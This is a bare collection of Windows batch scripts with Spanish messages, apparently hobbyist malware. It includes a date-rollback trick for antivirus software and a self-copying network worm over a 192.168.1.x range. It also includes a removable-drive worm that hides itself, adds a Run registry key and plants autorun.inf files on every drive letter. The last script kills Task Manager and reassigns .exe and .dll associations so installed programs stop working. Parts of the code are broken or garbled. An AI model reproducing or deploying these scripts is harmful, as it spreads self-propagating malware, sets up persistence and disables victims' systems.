FOR /F "tokens=1-4 delims=/ " %%a in ('date /t') do (set fecha=%%a-%%b-%%c)

date 29-07-2008

C:\vet\vet.exe

date %fecha%

@echo off
set/a ip=192.168.1.1
:mode
copy %0 > \\%ip%
start %0 at\\%ip%
set/a ip=ip+1
goto mode

@echo off
set/a ip=192.168.1.1
:mode
copy %0 > \\%ip%
start %0 at\\%ip%
set/a ip=ip+1
if ip 192.168.1.255 goto salir else goto mode
:salir
exit

@echo off
attrib +s +h %0
msg * hacked by -={ naxo itc }=-
reg add hklm\software\microsoft\windows\currentversion\run /V Dump.exe /D C:\Drivers\Dump.exe /f

:bluce
ping -n 10 127.0.0.1
IF exist C:\Drivers (goto 02) else (md C:\Drivers & attrib +h +s C:\Drivers & goto 02)
:02
FOR %%A IN (E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
IF exist %%A:\Drivers (goto a) else (md %%A:\Drivers & attrib +h +s %%A:\Drivers & goto a) )

:a
IF exist C:\Drivers\Dump.exe (goto 05) else (goto 04)
:04
FOR %%A IN (E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
attrib -s -h %%A:\Drivers\Dump.exe & copy "%%A:\Drivers\Dump.exe" "C:\Drivers\Dump.exe" & attrib +s +h %%A:\Drivers\Dump.exe)
attrib +h +s C:\Drivers\Dump.exe
:05
IF exist C:\autorun.inf (goto 07) else (goto 06)
:06
echo [AutoRun]>>C:\autorun.inf
echo label= naxo itc>>C:\autorun.inf
echo open=Drivers\Dump.exe>>C:\autorun.inf
echo shellexecute=Drivers\Dump.exe>>C:\autorun.inf
echo shell\Auto\command=Drivers\Dump.exe>>C:\autorun.inf
attrib +h +s C:\autorun.inf
:07
for /f "tokens=2 DELIMS= " %%B in ('FIND /I "naxo" C:\autorun.inf') do set co=%%B
if naxo== %co% (goto b) else (goto nar)
:nar
attrib -h -s C:\autorun.inf
del /f /q C:\autorun.inf
goto 06

:b
FOR %%A IN (E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
IF exist %%A:\Drivers\Dump.exe (goto 0Cool else (attrib -s -h C:\Drivers\Dump.exe & copy "C:\Drivers\Dump.exe" "%%A:\Drivers\Dump.exe" & attrib +h +s %%A:\Drivers\Dump.exe & attrib +s +h C:\Drivers\Dump.exe & goto 0Cool )
:08
FOR %%A IN (E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
IF exist %%A:\autorun.inf (goto 09) else (attrib -h -s C:\autorun.inf & copy "C:\autorun.inf" "%%A:\autorun.inf" & attrib +h +s %%A:\autorun.inf & attrib +h +s C:\autorun.inf & goto bluce) )

:09
FOR %%A IN (E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
for /f "tokens=2 DELIMS= " %%B in ('FIND /I "naxo" %%A:\autorun.inf') do set co=%%B )
if naxo== %co% (goto bluce) else (goto her)
:her
FOR %%A IN (E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
attrib -h -s %%A:\autorun.inf & del /f /q %%A:\autorun.inf )
FOR %%A IN (E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
attrib -h -s C:\autorun.inf & copy "C:\autorun.inf" "%%A:\autorun.inf" & attrib +h +s %%A:\autorun.inf & attrib +h +s C:\autorun.inf & goto bluce )

@echo off
taskkill /im taskmgr.exe
msg * BURLANDO TODAS LAS DEFENSAS DE TU EQUIPO
CD C:\Program Files\
assoc .exe=txtfile
assoc .dll=batfile
CD C:\Documents ans Settings\All Users\Desktop
echo YO HE DESTRUIDO TODOS TUS PROGRAMAS > Hola.txt
exit